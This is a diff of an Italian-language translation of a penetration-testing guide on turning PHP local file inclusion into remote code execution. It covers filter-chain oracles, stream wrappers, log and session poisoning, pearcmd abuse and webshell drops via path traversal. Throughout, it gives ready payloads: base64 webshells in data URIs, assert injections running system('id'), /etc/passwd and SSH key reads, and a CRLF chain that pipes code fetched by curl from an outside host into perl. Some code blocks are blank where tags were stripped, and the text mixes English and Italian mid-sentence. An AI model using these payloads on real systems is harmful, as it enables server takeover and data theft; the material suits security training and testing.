+- `convert.iconv.*` : Trasforma in una codifica diversa(`convert.iconv..`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l` > [!WARNING] -> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che può essere utile per scrivere testo arbitrario o fare in modo che una funzione come include tratti testo arbitrario. Per maggiori informazioni consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Comprimi il contenuto (utile se si devono esfiltrare molte informazioni) +- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra una grande quantità di informazioni) - `zlib.inflate`: Decomprimi i dati - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Deprecato @@ -242,7 +242,7 @@ I filter PHP permettono di eseguire semplici **operazioni di modifica sui dati** - Other Filters - Eseguendo in php `var_dump(stream_get_filters());` puoi trovare un paio di **filtri inaspettati**: - `consumed` -- `dechunk`: inverte l'encoding chunked HTTP +- `dechunk`: inverte la codifica HTTP chunked - `convert.*` ```php # String Filters @@ -271,29 +271,29 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> La parte "php://filter" non fa distinzione tra maiuscole e minuscole +> La parte "php://filter" è insensibile alle maiuscole -### Usare php filters come oracle per leggere file arbitrari +### Using php filters as oracle to read arbitrary files -[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una **boolean exfiltration of the file (char by char) using php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far lanciare un'eccezione a php. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) è proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una boolean exfiltration del file (char by char) usando php filters come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far php generare un'eccezione. -Nel post originale trovi una spiegazione dettagliata della tecnica, qui invece un rapido riassunto: +Nel post originale trovi una spiegazione dettagliata della tecnica, ma qui una breve sintesi: - Usa il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa. -- Questo servirà a generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php genererà un **errore** -- Il filtro **dechunk** rimuoverà tutto se il primo carattere non è un esadecimale, quindi possiamo sapere se il primo carattere è hex. -- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando applichiamo abbastanza trasformazioni da farla non essere più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'errore php. -- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: `a -> b`). Questo ci permette di scoprire se la prima lettera è una `a` per esempio, perché se applichiamo 6 volte questo codec `a->b->c->d->e->f->g` la lettera non è più un carattere esadecimale, quindi dechunk non la elimina e l'errore php viene innescato perché si moltiplica con la bomba iniziale. -- Usando altre trasformazioni come **rot13** all'inizio è possibile leak altri caratteri come n, o, p, q, r (e altri codecs possono essere usati per portare altre lettere nell'intervallo hex). -- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leak le prime 2 lettere per ottenere il numero. -- Il problema finale è capire **how to leak more than the initial letter**. Usando filtri che cambiano l'ordine dei byte in memoria come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e portare in prima posizione altre lettere del testo. -- E per poter ottenere **further data** l'idea è di **generare 2 byte di junk data all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli pivotare con i successivi 2 byte, e **cancellare i dati fino ai junk data** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così finché non si raggiunge il bit desiderato da leak. +- Questo verrà usato per generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php innescherà un **errore** +- Il filtro **dechunk** **rimuoverà tutto se il primo char non è esadecimale**, quindi possiamo sapere se il primo char è hex. +- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando applichiamo abbastanza trasformazioni da farla non essere più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'errore php. +- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a` per esempio perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non la cancella e l'errore php viene innescato a causa della moltiplicazione con la bomba iniziale. +- Usando altre trasformazioni come **rot13** all'inizio è possibile leakare altri char come n, o, p, q, r (e altri codecs possono essere usati per spostare altre lettere nell'intervallo hex). +- Quando il char iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per ottenere il numero. +- Il problema finale è vedere **come leakare più della lettera iniziale**. Usando memory order filters come **convert.iconv.UTF16.UTF-16BE**, **convert.iconv.UCS-4.UCS-4LE**, **convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e mettere in prima posizione altre lettere del testo. +- E per poter ottenere **dati successivi** l'idea è **generare 2 byte di junk all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli **pivotare con i successivi 2 byte**, e cancellare i dati fino al junk (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare. -Nel post è stato anche pubblicato uno strumento per eseguire automaticamente questo: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +Nel post è stato anche leakato uno strumento per eseguire tutto automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto dei file aperti: +Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto di file aperti: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); @@ -302,8 +302,8 @@ Puoi anche usare **php://stdin, php://stdout and php://stderr** per accedere ai ### zip:// and rar:// -Carica un file Zip o Rar con una PHPShell all'interno e accedervi.\ -Per poter abusare del protocollo rar è **necessario attivarlo specificamente**. +Carica un file Zip o Rar con una PHPShell all'interno e accedi ad esso.\ +Per poter abusare del protocollo rar, esso **deve essere specificamente attivato**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Nota che questo protocollo è limitato dalle configurazioni php **`allow_url_open`** e **`allow_url_include`** +Nota che questo protocollo è soggetto a restrizioni dalle configurazioni php **`allow_url_open`** e **`allow_url_include`** ### expect:// @@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls ``` ### input:// -Specifica il tuo payload nei parametri POST: +Specifica il tuo payload nei POST parameters: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web sfrutta funzioni come `include` per il caricamento di file. Lo snippet PHP mostrato di seguito dimostra la creazione di un file `.phar`: +Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web sfrutta funzioni come `include` per il caricamento di file. Lo snippet di codice PHP mostrato di seguito dimostra la creazione di un file `.phar`: ```php addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -Per compilare il file `.phar`, deve essere eseguito il seguente comando: +Per compilare il file `.phar`, eseguire il seguente comando: ```bash php --define phar.readonly=0 create_path.php ``` -Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per attaccare vulnerabilità di Local File Inclusion (LFI). +Alla sua esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere potenzialmente sfruttato per abusare di vulnerabilità di Local File Inclusion (LFI). -Nei casi in cui l'LFI esegue solo la lettura di file senza eseguire il codice PHP al loro interno — ad esempio attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()` — si può tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è legata alla lettura di file usando il protocollo `phar`. +Nei casi in cui l'LFI esegua solo la lettura di file senza eseguire il codice PHP al loro interno, tramite funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, si può tentare lo sfruttamento di una vulnerabilità di deserialization. Questa vulnerabilità è associata alla lettura di file usando il protocollo `phar`. -For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: +Per una comprensione dettagliata di come sfruttare vulnerabilità di deserialization nel contesto dei file `.phar`, fare riferimento al documento linkato di seguito: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -373,32 +373,32 @@ phar-deserialization.md ### CVE-2024-2961 -It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato sfruttato per **alterare la catena di free chunks** di una specifica dimensione al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\ -È stato possibile allocare chunk di dimensioni specifiche abusando di altri php filters. +È stato possibile abusare di **any arbitrary file read from PHP that supports php filters** per ottenere una RCE. La descrizione dettagliata può essere [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Riepilogo molto rapido: un **3 byte overflow** nell'heap di PHP è stato abusato per **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, quindi è stato aggiunto un hook per chiamare **`system`**.\ +È stato possibile alloc chunks di dimensioni specifiche abusando di più php filters. ### More protocols -Vedi altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** +Controlla altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di file inclusion) +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s) - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Stream di compressione -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathnames che corrispondono al pattern (non restituisce nulla di stampabile, quindi non è molto utile qui) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathnames che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (non utile per leggere file arbitrari) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (Non utile per leggere file arbitrari) -## LFI tramite 'assert' di PHP +## LFI via 'assert' di PHP -I rischi di Local File Inclusion (LFI) in PHP sono particolarmente alti quando si lavora con la funzione 'assert', che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se l'input contenente caratteri di directory traversal come ".." viene controllato ma non adeguatamente sanitizzato. +Il rischio di Local File Inclusion (LFI) in PHP è particolarmente elevato quando si tratta della funzione 'assert', che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se un input contenente caratteri di directory traversal come ".." viene controllato ma non correttamente sanificato. -Ad esempio, del codice PHP potrebbe essere progettato per prevenire il directory traversal in questo modo: +Per esempio, il codice PHP potrebbe essere progettato per prevenire directory traversal in questo modo: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Sebbene ciò miri a bloccare la traversal, crea involontariamente un vettore per code injection. Per sfruttare questo per leggere il contenuto dei file, un attaccante potrebbe usare: +Sebbene questo miri a impedire traversal, crea involontariamente un vettore per code injection. Per sfruttare questo per leggere il contenuto dei file, un attacker potrebbe usare: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -406,20 +406,20 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare: ```plaintext ' and die(system("id")) or ' ``` -È importante **URL-encode** questi **payloads**. +È importante **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> Questa tecnica è rilevante nei casi in cui tu **controlli** il **file path** di una **PHP function** che **access a file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato. +> Questa tecnica è rilevante nei casi in cui tu **controlli** il **file path** di una **funzione PHP** che accederà a un file ma non vedrai il contenuto del file (per esempio una semplice chiamata a **`file()`**) e il contenuto non viene mostrato. -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal possa essere abusato tramite PHP filter per **exfiltrate the content of a file via an error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) è spiegato come un blind path traversal può essere abusato tramite PHP filter per **exfiltrate the content of a file via an error oracle**. -In sintesi, la tecnica utilizza la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **PHP function** che apre il file innescherà un **errore**. +In sintesi, la tecnica utilizza la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **PHP function** che apre il file scatenerà un **errore**. -Poi, per ottenere il leak del primo char viene usato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13**, e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per **place other chars at the beggining and leak them**. +Poi, per leak il primo carattere viene usato il filter **`dechunk`** insieme ad altri come **base64** o **rot13** e infine i filter **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per mettere altri caratteri all'inizio e leakarli. -**Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Per i dettagli tecnici controlla il post menzionato! @@ -427,20 +427,20 @@ Per i dettagli tecnici controlla il post menzionato! ### Arbitrary File Write via Path Traversal (Webshell RCE) -Quando il codice server-side che ingests/uploads file costruisce il destination path usando dati controllati dall'utente (es. un filename o URL) senza canonicalising e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare un arbitrary file write. Se riesci a posizionare il payload sotto una web-exposed directory, di solito ottieni una unauthenticated RCE droppando una webshell. +Quando il codice server-side che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall'utente (es. un filename o una URL) senza canonicalizzare e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare un arbitrary file write. Se puoi piazzare il payload sotto una directory esposta al web, di solito ottieni una unauthenticated RCE droppando una webshell. -Typical exploitation workflow: -- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). -- Determine web-exposed directories. Common examples: +Tipico workflow di exploitation: +- Identificare un write primitive in un endpoint o in un background worker che accetta un percorso/filename e scrive contenuto su disco (es. ingestion guidata da messaggi, handler di comandi XML/JSON, extractor di ZIP, ecc.). +- Determinare le directory esposte al web. Esempi comuni: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content. -- Browse to the dropped payload and execute commands. +- Costruire un percorso di traversal che esce dalla directory di storage prevista verso la webroot, e includere il contenuto della webshell. +- Navigare al payload droppato ed eseguire comandi. -Notes: -- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. -- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw. +Note: +- Il servizio vulnerabile che esegue la scrittura potrebbe ascoltare su una porta non-HTTP (es. un listener JMF XML su TCP 4004). Il portale web principale (porta diversa) servirà in seguito il tuo payload. +- Su stack Java, queste scritture su file sono spesso implementate con una semplice concatenazione `File`/`Paths`. La mancanza di canonicalizzazione/allow-listing è il difetto principale. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -467,25 +467,25 @@ in.transferTo(out); ``` Hardening che neutralizza questa classe di bug: -- Risolvere in un percorso canonico e assicurarsi che sia un discendente di una directory base allow-listed. -- Rifiutare qualsiasi percorso che contenga `..`, root assoluti, o lettere di drive; preferire nomi di file generati. -- Eseguire il writer come un account a basso privilegio e segregare le directory di scrittura dalle root servite. +- Risolvere in un percorso canonico e imporre che sia discendente di una directory base allow-listed. +- Rifiutare qualsiasi percorso contenente `..`, root assoluti, o lettere di drive; preferire filenames generati. +- Eseguire il writer con un account a privilegi ridotti e segregare le directory di scrittura dalle radici servite. ## Remote File Inclusion -Explained previously, [**follow this link**](#remote-file-inclusion). +Spiegato in precedenza, [**segui questo link**](#remote-file-inclusion). ### Via Apache/Nginx log file -Se il server Apache o Nginx è **vulnerable to LFI** dentro la funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserire dentro il **user agent** o in un **GET parameter** una php shell come **``** e includere quel file +Se il server Apache o Nginx è **vulnerable to LFI** dentro la funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserendo nell'**user agent** o in un **GET parameter** una php shell come **``** e includere quel file > [!WARNING] -> Nota che **se usi le double quotes** per la shell invece delle **simple quotes**, le double quotes verranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** lì e **niente altro verrà eseguito**. +> Nota che **se usi le double quotes** per la shell invece delle **simple quotes**, le double quotes verranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** e **niente verrà eseguito**. > -> Inoltre, assicurati di **scrivere correttamente il payload** o PHP darà errore ogni volta che tenterà di caricare il file di log e non avrai una seconda opportunità. +> Inoltre, assicurati di **write correctly the payload** o PHP darà errore ogni volta che tenterà di caricare il file di log e non avrai una seconda opportunità. -Questo può essere fatto anche in altri log ma **fai attenzione,** il codice dentro i log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 ed è decodificato dentro i log. La PHPShell potrebbe essere inserita dentro questo header.\ -Other possible log paths: +Questo può essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 e viene decodificato all'interno dei log. La PHPShell potrebbe essere inserita dentro questo header.\ +Altri possibili percorsi di log: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -499,25 +499,25 @@ Other possible log paths: ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### Via Email +### Tramite Email **Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `` e prova a includere la mail dell'utente con un percorso come **`/var/mail/`** o **`/var/spool/mail/`** -### Via /proc/*/fd/* +### Tramite /proc/\*/fd/\* -1. Carica molte shells (per esempio: 100) -2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere determinato via brute force) e $FD il file descriptor (può essere determinato via brute force anche questo) +1. Carica molte shell (per esempio: 100) +2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere brute forced) e $FD = file descriptor (può essere brute forced anch'esso) -### Via /proc/self/environ +### Tramite /proc/self/environ -Come un file di log, invia il payload nel User-Agent; sarà riflesso all'interno del file /proc/self/environ +Come un file di log, invia il payload nello User-Agent; sarà riflesso all'interno del file /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload -Se puoi uploadare un file, iniettaci semplicemente lo shell payload (es.: ``). +Se puoi effettuare l'upload di un file, inietta semplicemente il shell payload al suo interno (es.: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` @@ -529,9 +529,9 @@ Carica un file ZIP contenente una PHP shell compressa e accedi: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Via sessioni PHP +### Tramite PHP sessions -Verificare se il sito web utilizza sessioni PHP (PHPSESSID) +Controlla se il sito usa PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly @@ -545,32 +545,32 @@ Imposta il cookie su `` ``` login=1&user=&pass=password&lang=en_us.php ``` -Usa LFI per includere il file di sessione PHP +Usa la LFI per includere il file di sessione PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### Via ssh +### Tramite ssh -Se ssh è attivo, verifica quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a **\/.ssh/id_rsa** +Se ssh è attivo, verifica quale utente viene usato (/proc/self/status & /etc/passwd) e prova ad accedere a **\/.ssh/id_rsa** -### **Via** **vsftpd** _**logs**_ +### **Tramite** **vsftpd** _**logs**_ -I logs per il server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nel caso in cui sia presente una vulnerabilità di Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi: +I log del server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nello scenario in cui esista una vulnerabilità di Local File Inclusion (LFI), e sia possibile accedere a un server vsftpd esposto, possono essere considerate le seguenti operazioni: 1. Inietta un payload PHP nel campo username durante il processo di login. -2. Dopo l'iniezione, utilizza la LFI per recuperare i logs del server da _**/var/log/vsftpd.log**_. +2. Dopo l'iniezione, utilizza la LFI per recuperare i log del server da _**/var/log/vsftpd.log**_. -### Via php base64 filter (using base64) +### Tramite php base64 filter (using base64) -Come mostrato in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, il filtro PHP base64 ignora i caratteri non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci una base64 che termina con ".php", il filtro ignorerà il "." e aggiungerà "php" alla base64. Ecco un payload di esempio: +Come mostrato in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter ignora i caratteri non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci base64 che termina con ".php", ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Via php filters (nessun file necessario) +### Via php filters (non è necessario un file) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters to generate arbitrary content** come output. Il che significa sostanzialmente che puoi **generate arbitrary php code** per l'include **without needing to write** it in un file. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters per generare contenuto arbitrario** come output. Il che significa fondamentalmente che puoi **generare codice php arbitrario** per l'include **senza doverlo scrivere** in un file. {{#ref}} @@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Upload** un file che sarà memorizzato come **temporary** in `/tmp`, poi nella **same request,** provoca un **segmentation fault**, e allora il **temporary file won't be deleted** e puoi cercarlo. +Carica un file che verrà memorizzato come temporaneo in `/tmp`, poi nella stessa richiesta provoca un segmentation fault; il file temporaneo non verrà eliminato e potrai cercarlo. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Via Nginx temp file storage +### Via Nginx memorizzazione temporanea dei file -Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a **PHP** potresti ottenere **RCE** con la seguente tecnica: +Se hai trovato una Local File Inclusion e Nginx è in esecuzione davanti a PHP, potresti ottenere RCE con la seguente tecnica: {{#ref}} @@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Se trovi una **Local File Inclusion** anche se **don't have a session** e `session.auto_start` è `Off`. Se fornisci il **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **enable the session for you**. Potresti abusarne per ottenere **RCE**: +Se hai trovato una Local File Inclusion anche se non hai una sessione e `session.auto_start` è `Off`. Se fornisci **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP abiliterà la sessione per te. Puoi abusarne per ottenere RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Via temp file uploads in Windows +### Via upload di file temporanei in Windows -Se trovi una **Local File Inclusion** e il server è in esecuzione su **Windows** potresti ottenere **RCE**: +Se hai trovato una Local File Inclusion e il server gira su Windows, potresti ottenere RCE: {{#ref}} @@ -615,52 +615,52 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), lo script `/usr/local/lib/phppearcmd.php` esiste di default in php docker images. Inoltre, è possibile passare argomenti allo script tramite l'URL perché è indicato che se un parametro dell'URL non ha un `=`, dovrebbe essere usato come argomento. Vedi anche [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Quanto segue sfrutta una CRLF vuln per ottenere RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Quanto segue sfrutta una vuln CRLF per ottenere RCE (da [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### Tramite phpinfo() (file_uploads = on) +### Via phpinfo() (file_uploads = on) -Se trovi una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on, puoi ottenere RCE: +Se hai trovato una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on puoi ottenere RCE: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### Tramite compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure +### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Se trovi una **Local File Inclusion** e puoi **exfiltrate the path** del temp file MA il **server** sta **checking** se il **file to be included has PHP marks**, puoi provare a **bypass that check** con questa **Race Condition**: +Se hai trovato una **Local File Inclusion** e puoi **exfiltrate the path** del file temporaneo MA il **server** sta **checking** se il **file to be included has PHP marks**, puoi provare a **bypass that check** con questa **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Tramite eternal waiting + bruteforce +### Via eternal waiting + bruteforce -Se puoi abusare della **LFI** per **upload temporary files** e far **hang** l'esecuzione PHP, 